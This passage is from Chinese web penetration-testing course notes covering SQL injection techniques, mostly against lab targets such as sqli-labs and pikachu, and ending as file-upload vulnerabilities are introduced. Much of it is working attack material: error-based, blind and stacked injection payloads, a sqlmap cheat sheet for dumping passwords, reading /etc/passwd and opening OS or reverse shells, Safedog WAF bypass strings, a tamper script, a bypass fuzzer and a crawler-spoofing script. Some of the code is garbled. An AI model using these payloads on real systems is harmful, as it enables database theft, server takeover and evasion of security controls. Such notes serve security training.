小迪WEB_第174张图片
4.平台位置文件
搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取;
小迪WEB_第175张图片

1.常见读取文件列表

写入文件
小迪WEB_第176张图片

2.常见写入文件问题:魔术引导开关
magic_quotes_gpc
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。这些转义是必须的。
在这里插入图片描述

相关防注入

1.魔术引导及常见防护
可以采用编码或者宽字节,把路径编码一下,转成十六进制,就可以不需要使用单引号,就可以正常解析;

2.采用内置函数进行防护
小迪WEB_第177张图片
还有更多内置函数也可以进行防护;
正常情况遇到的不多;

3.自定义关键字:select

i d = s t r r e p l a c e ( ′ s e l e c t ′ , ′ f u c k ′ , id = str_replace('select','fuck', id=strreplace(select,fuck,id);
将select转换成fuck;
小迪WEB_第178张图片

4.WAF防护软件:安全狗,宝塔等;
小迪WEB_第179张图片

低版本注入配合读取或暴力

字典或读取;
暴力查询或结合读取查询;
sqlmap下的字典
小迪WEB_第180张图片

第14天:WEB漏洞—SQL注入之类型及提交注入

前言:在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
小迪WEB_第181张图片

简要明确参数类型

数字、字符、搜索、JSON等;
其中 SQL 语句干扰符号:',",%,),}等,具体需看写法

简要明确请求方法

GET、POST、COOKIE、REQUEST、HTTP头等;
不同的请求方式,请求的数据类型、大小都不一样;

这个网站请求方法出现漏洞,要按照请求方法上,去测试注入;

1.GET请求
编写php代码,实现GET请求的演示
小迪WEB_第182张图片
可以看到GET请求
小迪WEB_第183张图片

2.POST请求
单纯的在get后面对p做请求是没办法回应的,必须做POST请求;
小迪WEB_第184张图片
hackbar有工具可以去做POST请求,抓包看一下;
小迪WEB_第185张图片
上图可以看到POST请求成功;

3.COOKIE请求
需要自己手动添加;
小迪WEB_第186张图片

4.REQUEST请求
REQUEST请求是全部接收,POST、GET和COOKIE的数据全部接收;
我们不清楚对方的接收方式,如果使用request请求,就不用管是什么请求方法,因为request全部接收;

5._SERVER[’ HTTP_USER_AGENT ']
是php的全局变量,用来获取系统的一些值,一些信息;
SERVER详解
小迪WEB_第187张图片
可以在网站的数据包查询注入,在http数据包里面注入,就是HTTP头部注入;

演示案例

1)参数字符型注入测试=>sqlilabs less 5 6

  • 打开靶场sqlilabs less 5
    小迪WEB_第188张图片
    先是和前面一样and 1=1,看看会不会报错,但是一点反应没有;
    小迪WEB_第189张图片

因为是讲解,我们直接观察php源码;

id上面有单引号;
小迪WEB_第190张图片
注入的时候需要把单引号释放出来
小迪WEB_第191张图片
然后开始注入,需要把单引号给注释掉;
采用以下注入方法;
在这里插入图片描述
查看注入,另后面的数字不相等,开始报错,所以有注入;
小迪WEB_第192张图片

  • 打开靶场sqlilabs less 6
    小迪WEB_第193张图片
    查看php源码,看到它注入的时候需要加双引号;
    小迪WEB_第194张图片
    所以我们加上双引号,再另数值不相等,看它能不能报错;
    双引号和前面的双引号闭合,–+将后面的大小都注释掉
    产生了报错;
    小迪WEB_第195张图片
    2)POST 数据提交注入测试=>sqlilabs less 11
    打开靶场
    小迪WEB_第196张图片
    使用数据抓包,找到注入点就在登录框附近;
    小迪WEB_第197张图片
    查看php源代码,可以看到是单引号,要把单引号闭合;
    小迪WEB_第198张图片
    用下面语句进行SQL注入,爆出数据库名称;
    小迪WEB_第199张图片

3)COOKIE 数据提交注入测试=>sqlilabs less 20
打开靶场
小迪WEB_第200张图片
改写语句,观察SQL语句;
小迪WEB_第201张图片
这里观察php源代码,对POST注入会有过滤,所以采用cookie注入;
小迪WEB_第202张图片
抓取数据包,采用cookie注入,爆破出了数据;
小迪WEB_第203张图片
4)HTTP 头部参数数据注入测试=>sqlilabs less 18
打开靶场,出现了我的IP,这个页面可以检测我的IP,所以就是SERVER服务;
小迪WEB_第204张图片
小迪WEB_第205张图片
观察php源代码,发现查询方式是insert
小迪WEB_第206张图片
抓取数据包,尝试注入点;
小迪WEB_第207张图片
5)参数 JSON 数据注入测试=>本地环境代码演示
JSON的格式
小迪WEB_第208张图片
对JSON进行注入测试
在这里插入图片描述
经常出现在APP中
测试网址
小迪WEB_第209张图片
点击选项,抓包看一下,下面红色的JSON的数据包,更改冒号后的数据,进行注入;
把测试语句,写到双引号里面;
小迪WEB_第210张图片

第15天:WEB漏洞—SQL注入之Oracle,MongoDB等注入

小迪WEB_第211张图片

简要学习各种数据库的注入特点

Access、mssql、mongoDB、postgresql、sqlite、oracle、sybase等;
数据库架构组成、数据库高权限操作;
除了access以外,其他数据库在组成方面都是

access数据库与其他数据库不同,它就只有自己一个数据库,往下没有数据库;
access数据库独立存在,每个网站都有自己的accsess数据库,所以没办法使用跨库注入;
access也不需要查询数据库名;
access很多功能都没有,例如文件读取;

access
表名
列名
数据

提问:什么决定了网站注入点用户权限
回答:当前网站的数据库用户,数据库的配置文件是谁连接的

1)Access注入介绍

  • 打开墨者靶场,开始尝试注入学习

小迪WEB_第212张图片

  • 用sqlmap进行漏洞扫描,判断出了数据库是Access
    查询数据的时候,直接开始查表,因为access没有什么数据库名什么的;
    小迪WEB_第213张图片
  • 注入的时候只能靠暴力猜解,去猜表名; 小迪WEB_第214张图片
  • 猜解成功,获取用户名和密码;
    小迪WEB_第215张图片
    遗留问题:
    Access注入时,如果列名或表名猜解不到的情况怎么办?

2)Mssql注入介绍

  • 打开靶场
    小迪WEB_第216张图片
  • 使用工具Pangolin观察Mssql
    每个数据库支持的东西不一样,需要的时候自己查询小迪WEB_第217张图片
    小迪WEB_第218张图片
  • 查询Mssql手工注入
    小迪WEB_第219张图片
    因为学习MySQ可以有助于后期学习其他数据库;
  • Mssql语句注入;
    小迪WEB_第220张图片
    得到答案
    小迪WEB_第221张图片
    3)Postgresql注入介绍
  • 打开靶场
    小迪WEB_第222张图片
  • 查询PostgreSQL注入点;
    小迪WEB_第223张图片
  • 用sqlmap工具注入,查询数据库,得到用户名和密码
    小迪WEB_第224张图片
  • 解题成功;
    小迪WEB_第225张图片
    5)Oracle 注入介绍
  • 打开靶场
    小迪WEB_第226张图片
    小迪WEB_第227张图片
  • 注入总结
    小迪WEB_第228张图片
    6)MongoDB注入介绍
    sqlmap不支持MongoDB
  • MongoDB语法
    小迪WEB_第229张图片
  • NoSQLAttack支持mongoDB的注入工具
    小迪WEB_第230张图片

Sqlmap基本操作

基本操作笔记:
-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
--privileges  #查看权限 
--is-dba      #是否是数据库管理员 
--roles       #枚举数据库用户角色 
--udf-inject  #导入用户自定义函数(获取系统权限) 
--union-check  #是否支持union 注入 
--union-cols #union 查询表记录 
--union-test #union 语句测试 
--union-use  #采用union 注入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交数据(--data "page=1&id=2") 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
--referer ""     #使用referer欺骗(--referer "http://www.baidu.com") 
--user-agent ""  #自定义user-agent 
--proxy "http://127.0.0.1:8118" #代理注入 
--string=""    #指定关键词,字符串匹配. 
--threads     #采用多线程(--threads 3) 
--sql-shell    #执行指定sql命令 
--sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) 
--file-read    #读取指定文件 
--file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 
--file-dest    #要写入的文件绝对路径 
--os-cmd=id    #执行系统命令 
--os-shell     #系统交互shell 
--os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #读取win系统注册表 
--priv-esc     # 
--time-sec=    #延迟设置 默认--time-sec=5 为5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent注入 
--eta          #盲注 
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典    
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt 

常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0 
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2 
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2 
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass"  -v 1 --exclude-sysdbs 
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2 
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2 
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2 
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1 
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2 
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1 
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1 
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1 
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta 
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner 
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"

简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 
2.判断当前数据库用户权限 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1 
3.读取所有数据库用户或指定数据库用户的密码 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2 
4.获取所有数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2 
5.获取指定数据库中的所有表 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2 
6.获取指定数据库名中指定表的字段 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2 
7.获取指定数据库名中指定表中指定字段的数据 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 
8.file-read读取web文件 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2 
9.file-write写入文件到web 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:

第16天:WEB漏洞—SQL注入之查询方式及报错盲注

前言:当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句;
小迪WEB_第231张图片

查询方式

1)select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id

2)insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,‘$t’)

3)delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id

4)update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=‘$p’ where id=2 and username=‘admin’

5)order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的 SQL 查询方式

SQL 注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断
或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1)基于布尔的 SQL 盲注-逻辑判断
regexp,like,ascii,left,ord,mid

2)基于时间的 SQL 盲注-延时判断
if,sleep

  1. if
    小迪WEB_第232张图片
  2. sleep
    小迪WEB_第233张图片

3)基于报错的 SQL 盲注-报错回显
floor,updatexml,extractvalue
报错回显
小迪WEB_第234张图片
参考:

like 'ro%'                #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]'     #匹配 xiaodi 及 xiaodi...等
if(条件,5,0)              #条件成立 返回 5 反之 返回 0
sleep(5)                  #SQL 语句延时执行 5 秒
mid(a,b,c)                #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c)             #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database()       #left(a,b)从左侧截取 a 的前 b 位
length(database())=8      #判断数据库 database()名的长度
ord=ascii ascii(x)=97     #判断 x 的 ascii 码是否等于 9

演示案例

1)各种查询方式注入测试(报错盲注)

  • insert

打开靶场pikachu抓包注入

payload:
1.username=x’ or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ’ &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

2.username=x’ or updatexml(1,concat(0x7e,(version())),0) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

3.username=x’ or extractvalue(1,concat(0x7e,database())) or
'&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
小迪WEB_第235张图片
小迪WEB_第236张图片

  • update

payload update:

1.sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky’ or (select 1 from(select
count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets
group by x)a) or '&email=wuhan&submit=submit

2.sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky’ or
updatexml(1,concat(0x7e,(version())),0) or ‘&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky’ or extractvalue(1,concat(0x7e,database())) or ’ &email=wuhan&submit=submit小迪WEB_第237张图片
小迪WEB_第238张图片

  • delete

payload delete:

1./pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

2.pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

3./pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))
小迪WEB_第239张图片

2)sqlilabs-less2 注入测试(延时盲注)

  • 打开靶场
    小迪WEB_第240张图片
  • 延时注入
    小迪WEB_第241张图片
    一般都是工具去注入;
  • 采用一些语句去猜数据库长度,内容等;
    小迪WEB_第242张图片

延时盲注:
1.and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+
小迪WEB_第243张图片
2.and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+

用ASCII码可以防止引号转义;

3)sqlilabs-less5 注入测试(布尔盲注)

  • 打开靶场
    小迪WEB_第244张图片
  • 观察源代码
    小迪WEB_第245张图片
  • 布尔注入成功
    小迪WEB_第246张图片

第17天:WEB漏洞—SQL注入之二次,加解密,DNS等注入

加解密,二次,DNSlog 注入

1)加解密注入
提交方法(post、get等)传递的参数被加密了,然后传递给服务器,加密方式有base64等;
小迪WEB_第247张图片
网站上的参数如果加密了,注入的语句也要进行加密,才能实现注入,否则会注入失败;
小迪WEB_第248张图片

2)二次注入
二次注入无法通过扫描工具实现的,需要代码审计的时候才能发现,不好触发,无法在黑盒测试中使用;
注册一个包含恶意代码的用户,然后网站调用用户名的时候恶意代码就会执行;
小迪WEB_第249张图片
3) DNSlog注入
DNSlog注入需要注入点是高权限;
首先自己需要创建一个可以配置的域名,我们这里用的是ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息;
小迪WEB_第250张图片
也可以采用工具dnslogSqlinj,下载地址
小迪WEB_第251张图片
小迪WEB_第252张图片
DNSlog:解决了盲注不能回显数据,效率低的问题;

演示案例

1.sqlilabs-less21-cookie&加解密注入(实际案例)

  • 打开靶场
    小迪WEB_第253张图片
  • 登录账号密码,然后抓包,就可以看到cookie被加密,所以注入点在cookie这里;
    小迪WEB_第254张图片
  • 使用报错注入,报错注入也采取base64加密,才能注入,得到数据库的版本,注入成功;
    小迪WEB_第255张图片

2.sqlilabs-less24-post 登陆框&二次注入(实际案例)

  • 打开靶场,创建一个新用户,名字和已有用户不同,在后面加上‘#
    小迪WEB_第256张图片

  • 修改新建用户密码,但是#把密码条件注释了,所以修改的就是本来用户的密码;
    小迪WEB_第257张图片

  • 因为 #’ 闭合了引号,所以修改密码成功;
    小迪WEB_第258张图片

  • 实战情况下有长度限制,分为前端限制和后端限制;
    前端限制是写在html里面的,会有长度限制,但是可以修改的;
    后端限制是在php里面的,无法突破;

  • 二次注入需要配合代码,实战情况下很多东西都是未知的,不知道什么时候能触发二次注入;

3.sqlilabs-less9-load_file&dnslog 带外注入(实际案例)

  • 注册账号,然后执行sql语句
    小迪WEB_第259张图片

  • 平台接收,从中获取信息;
    小迪WEB_第260张图片

4.py-DnslogSqlinj-dnslog 注入演示脚本演示(实际案例)

  • 下载工具,并且启用
    小迪WEB_第261张图片

  • 使用语句注入查询信息,但是我自己电脑上没有查询到信息;
    小迪WEB_第262张图片

第18天:WEB漏洞—SQL注入之堆叠及WAF绕过注入

小迪WEB_第263张图片

堆叠查询注入

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
在这里插入图片描述
堆叠注入是多条语句注入,堆叠注入不是每个数据库都支持的,堆叠注入是有局限性的;

phpstudy+safedog 安装找不到服务解决

参考链接:https://www.freesion.com/article/15621202542/

市面上常见的 waf 产品列表分析-wafw00

WAF及绕过思路

小迪WEB_第264张图片

  • 自己下载一个安全狗
    小迪WEB_第265张图片
    漏洞检测会检测请求方式,可以更换请求方式,然后实现注入,前提条件是数据支持替换提交方式;
    小迪WEB_第266张图片
    会阻止查询数据库相关信息,不能直接写关键字,例如database()等;
    小迪WEB_第267张图片
    WAF绕过-应用层

1.可以加一些符号,绕过匹配规则;
每个数据库特殊符号都不一样;拦截的是一个整体,实现拆封就可以绕过;
小迪WEB_第268张图片

2.大小写/关键字替换;

id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()

3.各种编码
大小写,URL,hex,%0A 等

4.注释使用
// – --+ # // + :%00 /!/等
小迪WEB_第269张图片
a写在这里因为安全狗没有拦截union a select

5.再次循环
union==uunionnion

6.等价替换
user()=@@user() and=& or=| ascii=hex 等

7.参数污染
?id=1&id=2&id=3

HTTP参数污染
小迪WEB_第270张图片
小迪WEB_第271张图片

8.编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等

9.更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data

模糊测试(fuzz)
fuzz不是技术是思路。通过编写脚本进行批量测试。

演示案例

1.Sqlilabs-Less38-堆叠注入(多语句)
构造payload:
http://192.168.74.144/sqli-labs-master/Less-38/?id=1’;insert into users(id,username,password) values (‘38’,‘less38’,‘hello’)–+
小迪WEB_第272张图片
成功创建一个新用户;
小迪WEB_第273张图片
例:注入需要管理员账号密码,密码是加密的,无法解密;
堆叠注入进行插入数据,用户密码自定义的,可以正常解决登录;

2. WAF部署-安全狗,宝塔等waf搭建部署
搭建成功
小迪WEB_第274张图片
3. 简要讲解安全狗,宝塔等防护waf策略规则
是通过网站防护、资源防护等手段来保护网站的。
小迪WEB_第275张图片
会对关键字进行匹配,来保护网站

4. 简要演示安全狗 bypass sqlinject 防护规则
部分 bypass sqlinject payload
id=1 union/%00/%23a%0A/!/!select 1,2,3*/;%23
id=-1 union/%00/%23a%0A/!/!select%201,database%23x%0A(),3*/;%23
id=-1%20union%20/!44509select/%201,2,3%23
id=-1%20union%20/!44509select/%201,%23x%0A/!database/(),3%23
id=1/&id=-1%20union%20select%201,2,3%23*/
id=-1 %20union%20all%23%0a%20select%201,2,3%23
-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/
/(),3%23

涉及资源

1.https://www.cnblogs.com/backlion/p/9721687.html
2.https://blog.csdn.net/nzjdsds/article/details/93740686

第19天:WEB漏洞—SQL注入之SQLMAP绕过WAF

前言:在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
小迪WEB_第276张图片

衔接18天课程

1.数据库特性
1、Mysql 技巧
(1)mysql 注释符有三种:#、//、-- … (注意–后面有一个空格)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540
小迪WEB_第277张图片
2.FUZZ绕过脚本

#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
	singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):
    
#%23a%0aunion/*!44575select*/1,2,3
	if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
	return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
	for xiaodi in a:
		for xiaodis in aa:
			for xiaodiss in aaa:
				for two in range(44500,44600):
					urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
					#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
					try:
						result=requests.get(urls).text
						len_r=len(result)
						if (result.find('safedog')==-1):
							#print('bypass url addreess:'+urls+'|'+str(len_r))
							 print('bypass url addreess:'+urls+'|'+str(len_r))
						if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0.1)
if__name__=='__main__':
	print('fuzz strat!')
	bypass()

3.伪造成百度爬虫脚本

import json
import requests

url='http://192.168.0.103:8080/'

head={
	'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls).status_code
    print(urls+'|'+str(code))

演示案例

1.简要其他绕过方式学习

1、白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。
常见的 url 构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
waf通过/manage/"进行比较,只需url中存在/manage/就作为白名单不进行检测,这样我们就可以通过/sql.php?a=/manage/&b=…/etc/passwd绕过防御规则。
小迪WEB_第278张图片
方式四:爬虫白名单
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1、根据UserAgent 2、通过行为判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent Switcher(Firefox附加组件),下载地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

2.FUZZ 绕过脚本结合编写测试
FUZZ脚本编写

3.阿里云盾防 SQL 注入简要分析
4.安全狗+云盾SQL注入插件脚本编写
自己写脚本,直接使用脚本是跑不了的,放到本地抓包跑一下;
小迪WEB_第279张图片
在这里插入图片描述
小迪WEB_第280张图片
如果开启了流量防护,sqlmap运行的太快也会被拦截;
解决方法:
1.添加延时参数 --delay参数

2.使用代理池
随机出IP

3.更改请求头,添加http白名单 浏览器请求头 --user-Agent=" "
在这里插入图片描述
4.自己编写
小迪WEB_第281张图片
然后使用TXT文本里的数据包注入
在这里插入图片描述
小迪WEB_第282张图片

第20天:WEB 漏洞-文件上传之基础及过滤方式

小迪WEB_第283张图片
小迪WEB_第284张图片

什么是文件上传漏洞

凡是存在文件上传的地方均有可能存在文件上传漏洞,有文件上传就可以测试漏洞;
指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
文件上传漏洞的时候看对方的代码是否写的比较完整、安全,疏忽了验证就会造成文件上传漏洞;
有文件上传的功能就可以去测试;

文件上传漏洞有哪些危害

造成文件上传漏洞的主要原因是应用程序中有上传功能,但上传的文件没有通过严格的合法性检查或者检查功能有缺陷,导致木马文件上传到服务器。文件上传漏洞危害极大,因为恶意代码可以直接上传到服务器,可能造成服务器网页修改、网站暂停、服务器远程控制、后门安装等严重后果。

文件上传漏洞如何查找及判断

1.黑盒查找
扫描敏感文件,获取上传地址;
根据网站给出的应用,进入到网站后台也可以文件上传;
